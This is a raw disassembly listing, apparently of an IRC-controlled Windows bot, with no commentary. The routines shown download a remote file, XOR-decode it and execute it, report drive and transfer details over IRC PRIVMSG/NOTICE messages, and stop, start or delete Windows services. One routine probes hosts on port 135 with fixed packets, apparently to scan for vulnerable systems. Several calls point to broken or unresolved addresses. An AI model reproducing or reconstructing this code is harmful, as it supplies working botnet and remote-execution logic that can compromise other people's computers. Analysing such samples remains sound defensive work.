loc_40CAD3: ; CODE XREF: sub_40C8B4+214j cmp [ebp+arg_0], ebx jbe short loc_40CAE1 push [ebp+arg_0] call dword_43AE30 loc_40CAE1: ; CODE XREF: sub_40C8B4+222j push [ebp+var_1C] call sub_417078 pop ecx push ebx nop call near ptr 2610350h sub_40C8B4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAF1 proc near ; DATA XREF: sub_40EE72+381Eo ; sub_40EE72+3F6Do var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43AD48 call dword_43ACA8 cmp eax, esi mov [ebp+var_18], eax jz loc_40CF7D push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax nop call near ptr 26508D5h cmp eax, edi mov [ebp+var_20], eax jnb short loc_40CBB8 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_42E5E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CB9B push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CB9B: ; CODE XREF: sub_40CAF1+88j lea eax, [ebp+var_510] push eax call sub_40BF6D push [ebp+var_48] call sub_417078 pop ecx pop ecx push esi call near ptr 2610350h nop loc_40CBB8: ; CODE XREF: sub_40CAF1+68j xor edi, edi nop call near ptr 26108B1h mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_417B89 pop ecx mov [ebp+var_1C], eax loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43ACB0 cmp [ebp+var_34], esi jz short loc_40CC16 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40CFE3 pop ecx pop ecx loc_40CC16: ; CODE XREF: sub_40CAF1+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call near ptr 2640000h nop cmp edi, ebx jnb short loc_40CC54 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40CC3E mov eax, [ebp+arg_0] loc_40CC3E: ; CODE XREF: sub_40CAF1+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_417390 add esp, 0Ch loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40CC61 cmp edi, [ebp+var_3C] ja short loc_40CCAB loc_40CC61: ; CODE XREF: sub_40CAF1+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40CC7B shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E59C jmp short loc_40CC8B ; --------------------------------------------------------------------------- loc_40CC7B: ; CODE XREF: sub_40CAF1+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E55C loc_40CC8B: ; CODE XREF: sub_40CAF1+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_4405F0 push eax call sub_4172B0 add esp, 10h cmp [ebp+arg_0], esi ja loc_40CBD2 loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40CD00 cmp edi, [ebp+var_3C] jz short loc_40CD00 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_42E518 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j ; sub_40CAF1+1C9j nop call near ptr 26108B1h sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 26318FCh push [ebp+var_1C] call sub_417C3B cmp [ebp+var_38], esi pop ecx jz short loc_40CD8A lea eax, [ebp+var_148] push eax call sub_40C259 cmp eax, [ebp+var_38] pop ecx jz short loc_40CD8A push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_42E4E0 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD8A: ; CODE XREF: sub_40CAF1+241j ; sub_40CAF1+253j cmp [ebp+var_14], esi jz loc_40CFCA cmp [ebp+var_44], 1 jz loc_40CE85 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E498 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CE05 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j lea eax, [ebp+var_510] push eax call sub_40BF6D cmp [ebp+var_40], 1 pop ecx jnz loc_40CFCA push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43AD0C cmp [ebp+var_30], esi jnz loc_40CFCA lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42E464 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 24h jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E414 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CEED push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj lea eax, [ebp+var_510] push eax call sub_40BF6D push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_417330 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_436EDC push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi nop call near ptr 276050Eh cmp eax, edi jnz short loc_40CF6F call dword_43ACF8 call sub_40AC42 push esi nop call near ptr 77E75CB5h loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj lea eax, [ebp+var_148] push eax push offset unk_42E3CC jmp short loc_40CF89 ; --------------------------------------------------------------------------- loc_40CF7D: ; CODE XREF: sub_40CAF1+45j lea eax, [ebp+var_248] push eax push offset unk_42E390 loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj lea eax, [ebp+var_510] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CFBD push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj lea eax, [ebp+var_510] push eax call sub_40BF6D pop ecx loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj ; sub_40CAF1+325j ... push [ebp+var_18] call dword_43ADCC push [ebp+var_48] call sub_417078 pop ecx push esi nop call near ptr 2610350h sub_40CAF1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40CFFF loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj mov dl, byte_42F5C4 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40CFEF locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj retn sub_40CFE3 endp ; =============== S U B R O U T I N E ======================================= sub_40D000 proc near ; CODE XREF: sub_40EE72+2A7Ep ; sub_40EE72+2BA4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4197F9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40D000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D01A proc near ; CODE XREF: sub_406387+458p ; sub_406387+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_43F168 push 0 push edi call sub_417330 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40D03F: ; CODE XREF: sub_40D01A+5Bj ; sub_40D01A+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4191D0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_419250 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40D07D inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40D03F mov byte ptr [esi], 2Ch inc esi jmp short loc_40D03F ; --------------------------------------------------------------------------- loc_40D07D: ; CODE XREF: sub_40D01A+4Bj dec esi mov eax, edi loc_40D080: ; CODE XREF: sub_40D01A+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40D08F mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40D080 ; --------------------------------------------------------------------------- loc_40D08F: ; CODE XREF: sub_40D01A+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40D01A endp ; =============== S U B R O U T I N E ======================================= sub_40D099 proc near ; CODE XREF: sub_40D24E+51p ; sub_40D24E+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43ADF8 sub eax, 0 jz short loc_40D0DC dec eax jz short loc_40D0D6 dec eax dec eax jz short loc_40D0D0 dec eax jz short loc_40D0CA dec eax jz short loc_40D0C4 dec eax jz short loc_40D0BE mov eax, offset word_42DDD0 retn ; --------------------------------------------------------------------------- loc_40D0BE: ; CODE XREF: sub_40D099+1Dj mov eax, offset off_42E644 retn ; --------------------------------------------------------------------------- loc_40D0C4: ; CODE XREF: sub_40D099+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40D0CA: ; CODE XREF: sub_40D099+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40D0D0: ; CODE XREF: sub_40D099+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40D0D6: ; CODE XREF: sub_40D099+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40D0DC: ; CODE XREF: sub_40D099+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40D099 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43AC94 test eax, eax jz short loc_40D117 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_40D117: ; CODE XREF: sub_40D0E2+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D0E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D12A proc near ; CODE XREF: sub_40B8D8+1F3p ; sub_40D24E+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40D0E2 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40D208 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_419840 push edx push eax call sub_40D01A pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41782A add esp, 10h pop ebx jmp short loc_40D23A ; --------------------------------------------------------------------------- loc_40D208: ; CODE XREF: sub_40D12A+2Cj ; sub_40D12A+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_4172B0 pop ecx pop ecx loc_40D23A: ; CODE XREF: sub_40D12A+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D12A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D24E proc near ; CODE XREF: sub_40D320+17p ; sub_40D320+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4176D0 add esp, 10h test eax, eax jnz short loc_40D2C1 push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E6A4 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 14h jmp short loc_40D2F5 ; --------------------------------------------------------------------------- loc_40D2C1: ; CODE XREF: sub_40D24E+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E658 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 20h loc_40D2F5: ; CODE XREF: sub_40D24E+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_500] push eax call sub_40BF6D add esp, 18h pop edi pop esi pop ebx leave retn sub_40D24E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D320 proc near ; CODE XREF: sub_40EE72+57F0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40D341 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h jmp short loc_40D3A2 ; --------------------------------------------------------------------------- loc_40D341: ; CODE XREF: sub_40D320+9j push esi push edi push ebx push ebx call dword_43AD08 lea esi, [eax+2] push esi call sub_417B89 pop ecx mov edi, eax push edi push esi call dword_43AD08 cmp [edi], bl mov esi, edi jz short loc_40D399 loc_40D365: ; CODE XREF: sub_40D320+77j push offset aA_0 ; "A:\\" push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40D388 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h loc_40D388: ; CODE XREF: sub_40D320+54j push esi call sub_417AB0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40D365 loc_40D399: ; CODE XREF: sub_40D320+43j push edi call sub_417C3B pop ecx pop edi pop esi loc_40D3A2: ; CODE XREF: sub_40D320+1Fj pop ebx pop ebp retn sub_40D320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3A5 proc near ; DATA XREF: ___:0040E6BAo var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4407FC call dword_43AE30 call sub_416F25 call dword_43ACF8 call dword_43ACF8 mov ebx, dword_424064 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_417330 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_436EDC mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2620087h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2660000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 276050Eh nop test eax, eax jz short loc_40D46A push 64h call ebx push [ebp+var_10] mov esi, dword_424078 call esi push [ebp+var_C] call esi loc_40D46A: ; CODE XREF: sub_40D3A5+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43F1A0 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx sub_40D3A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D48D proc near ; CODE XREF: sub_40D4C5+125p ; sub_40D4C5+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40D4BB loc_40D49E: ; CODE XREF: sub_40D48D+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_4198F0 add esp, 0Ch test eax, eax jz short loc_40D4C1 inc esi cmp esi, edi jl short loc_40D49E loc_40D4BB: ; CODE XREF: sub_40D48D+Fj xor al, al loc_40D4BD: ; CODE XREF: sub_40D48D+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D4C1: ; CODE XREF: sub_40D48D+27j mov al, 1 jmp short loc_40D4BD sub_40D48D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4C5 proc near ; CODE XREF: sub_402DD7+8Bp ; sub_402DD7+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_417B30 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_40D506 dec eax jz short loc_40D4E4 dec eax loc_40D4DE: ; CODE XREF: sub_40D4C5+57j xor eax, eax loc_40D4E0: ; CODE XREF: sub_40D4C5+3Fj ; sub_40D4C5+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_40D4E4: ; CODE XREF: sub_40D4C5+16j push 3 push 1388h push [ebp+arg_0] call dword_43ADD8 push eax call sub_4076CA add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_40D4E0 ; --------------------------------------------------------------------------- loc_40D506: ; CODE XREF: sub_40D4C5+13j push 6 push 1 push 2 call dword_43AE18 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_40D4DE push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_43AD98 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 cmp eax, edi jz loc_40D622 push ebx push 48h push offset dword_42E6F4 push esi call dword_43ADE8 cmp eax, edi jz loc_40D622 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43ADB0 cmp eax, edi jz loc_40D622 cmp [ebp+var_200E], 0Ch jnz short loc_40D622 push ebx push 18h push offset dword_42E740 push [ebp+arg_4] call dword_43ADE8 cmp eax, edi jz short loc_40D622 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43ADB0 mov esi, eax cmp esi, edi jz short loc_40D622 cmp [ebp+var_200E], 2 jnz short loc_40D622 push 10h push offset loc_42E75C lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h test al, al jz short loc_40D602 cmp esi, 12Ch setnl bl inc ebx jmp short loc_40D622 ; --------------------------------------------------------------------------- loc_40D602: ; CODE XREF: sub_40D4C5+12Fj push 10h push offset dword_42E770 lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_40D622: ; CODE XREF: sub_40D4C5+9Bj ; sub_40D4C5+B2j ... push [ebp+arg_4] call dword_43AE30 mov eax, ebx pop ebx jmp loc_40D4E0 sub_40D4C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D633 proc near ; CODE XREF: sub_40ECFA+3Dp ; sub_40EE72+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_4193FF add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 leave retn sub_40D633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D679 proc near ; CODE XREF: sub_401000+8Bp ; sub_40144A+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40D694 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40D694: ; CODE XREF: sub_40D679+14j push edi call sub_417AB0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_417AB0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42E784 push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40D717 push 7D0h nop call near ptr 2620000h locret_40D717: ; CODE XREF: sub_40D679+91j leave retn sub_40D679 endp ; =============== S U B R O U T I N E ======================================= sub_40D719 proc near ; CODE XREF: sub_40EE72:loc_410F84p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40D771 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_42E7A8[esi] push edi push eax call sub_40D793 add esp, 14h test eax, eax jnz short loc_40D761 push edi push off_42E7A4[esi] push offset dword_42E8D4 loc_40D751: ; CODE XREF: sub_40D719+56j mov esi, offset dword_43F868 push esi call sub_4172B0 add esp, 10h jmp short loc_40D78E ; --------------------------------------------------------------------------- loc_40D761: ; CODE XREF: sub_40D719+2Aj push eax call sub_40D835 pop ecx push eax push edi push offset dword_42E89C jmp short loc_40D751 ; --------------------------------------------------------------------------- loc_40D771: ; CODE XREF: sub_40D719+Cj lea eax, [eax+eax*2] mov esi, offset dword_43F868 push off_42E7A0[eax*4] push offset dword_42E868 push esi call sub_4172B0 add esp, 0Ch loc_40D78E: ; CODE XREF: sub_40D719+46j mov eax, esi pop edi pop esi retn sub_40D719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D793 proc near ; CODE XREF: sub_40D719+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43AD8C mov edi, eax cmp edi, ebx jnz short loc_40D7BA call near ptr 2650C0Ah nop mov ebx, eax jmp short loc_40D82F ; --------------------------------------------------------------------------- loc_40D7BA: ; CODE XREF: sub_40D793+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43AC80 mov esi, eax cmp esi, ebx jnz short loc_40D7DA nop call near ptr 2650C0Ah mov ebx, eax jmp short loc_40D827 ; --------------------------------------------------------------------------- loc_40D7DA: ; CODE XREF: sub_40D793+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40D80D cmp eax, 3 jz short loc_40D7FE jle short loc_40D820 cmp eax, 6 jg short loc_40D820 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43ACE8 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D7FE: ; CODE XREF: sub_40D793+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43AC88 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D80D: ; CODE XREF: sub_40D793+4Dj push esi call dword_43ACEC loc_40D814: ; CODE XREF: sub_40D793+69j ; sub_40D793+78j test eax, eax jnz short loc_40D820 call near ptr 2650C0Ah nop mov ebx, eax loc_40D820: ; CODE XREF: sub_40D793+54j ; sub_40D793+59j ... push esi call dword_43AC9C loc_40D827: ; CODE XREF: sub_40D793+45j push edi call dword_43AC9C pop esi loc_40D82F: ; CODE XREF: sub_40D793+25j mov eax, ebx pop edi pop ebx leave retn sub_40D793 endp ; =============== S U B R O U T I N E ======================================= sub_40D835 